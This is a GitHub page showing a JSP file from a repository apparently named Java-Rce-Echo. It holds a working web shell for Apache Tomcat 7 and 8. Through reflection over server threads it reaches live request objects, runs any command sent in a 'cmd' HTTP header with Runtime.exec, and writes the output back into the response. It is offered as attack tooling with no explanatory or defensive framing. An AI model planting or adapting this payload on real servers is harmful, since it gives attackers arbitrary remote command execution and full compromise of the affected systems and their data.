forked from feihong-cs/Java-Rce-Echo
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathTomcat78Echo-deprecated.jsp
More file actions
69 lines (59 loc) · 2.83 KB
/
Tomcat78Echo-deprecated.jsp
File metadata and controls
69 lines (59 loc) · 2.83 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Object obj = Thread.currentThread();
java.lang.reflect.Field field = obj.getClass().getSuperclass().getDeclaredField("group");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("threads");
field.setAccessible(true);
obj = field.get(obj);
Thread[] threads = (Thread[])obj;
label:for(Thread thread : threads){
try{
if((thread.getName().contains("http-apr") && thread.getName().contains("Poller"))
|| (thread.getName().contains("http-bio") && thread.getName().contains("AsyncTimeout"))
|| (thread.getName().contains("http-nio") && thread.getName().contains("Poller"))) {
field = thread.getClass().getDeclaredField("target");
field.setAccessible(true);
obj = field.get(thread);
field = obj.getClass().getDeclaredField("this$0");
field.setAccessible(true);
obj = field.get(obj);
try{
field = obj.getClass().getDeclaredField("handler");
}catch (NoSuchFieldException e){
field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
}
field.setAccessible(true);
obj = field.get(obj);
try{
field = obj.getClass().getSuperclass().getDeclaredField("global");
}catch(NoSuchFieldException e){
field = obj.getClass().getDeclaredField("global");
}
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("processors");
field.setAccessible(true);
obj = field.get(obj);
java.util.List processors = (java.util.List) obj;
for (Object o : processors) {
field = o.getClass().getDeclaredField("req");
field.setAccessible(true);
obj = field.get(o);
org.apache.coyote.Request req = (org.apache.coyote.Request) obj;
String cmd = req.getHeader("cmd");
if (cmd != null) {
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
org.apache.tomcat.util.buf.ByteChunk bc = new org.apache.tomcat.util.buf.ByteChunk();
bc.setBytes(res.getBytes(), 0, res.getBytes().length);
req.getResponse().doWrite(bc);
break label;
}
}
}
}catch(Exception e){
e.printStackTrace();
}
}
%>